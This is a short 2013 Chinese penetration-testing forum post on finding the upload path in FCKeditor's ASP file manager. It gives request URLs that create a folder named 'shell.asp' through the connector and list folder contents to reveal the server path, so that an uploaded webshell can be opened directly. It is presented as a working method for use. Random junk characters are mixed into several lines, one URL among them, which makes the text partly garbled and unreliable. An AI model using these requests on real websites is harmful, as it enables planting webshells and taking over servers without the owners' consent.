中国网络渗透测试联盟

标题: fckeditor找上传路径方法 [打印本页]
作者: admin    时间: 2013-10-17 19:37
标题: fckeditor找上传路径方法
网上流行着是上传是这样子的
- O9 i, x* u8 w3 l- j$ l# @5 r+ c2 n- w8 q) t& ~$ F
http://localhost/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=../../connectors/asp/connector.asp
% G2 j( _) m& K5 F+ d8 j0 J. Whttp://localhost/fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684! i% v4 E3 k0 ?- ^5 Z4 U. x, w
! @+ [  u" p( z$ J
上传后老找不到路径，测了一下，我发现  y" v4 R" E' g0 M0 N+ W$ h1 X
% s- m: u3 [. s+ Q6 K
FCKeditor3/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/: I- i8 Y4 l8 b, Q/ X( e0 V

; q# w0 C% I$ r3 q! O  E* n可以爆出路径，显示以下内容
" u* C; B, i$ Q1 }7 ^  i' _& E" c8 h) i$ O3 y+ I1 o( T3 @6 |
8 W( w0 m, j  m: `' Z. F! V9 @2 u  J& `
得出路径，直接打开就见到马子- ]) n- q$ r0 K  w" t




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2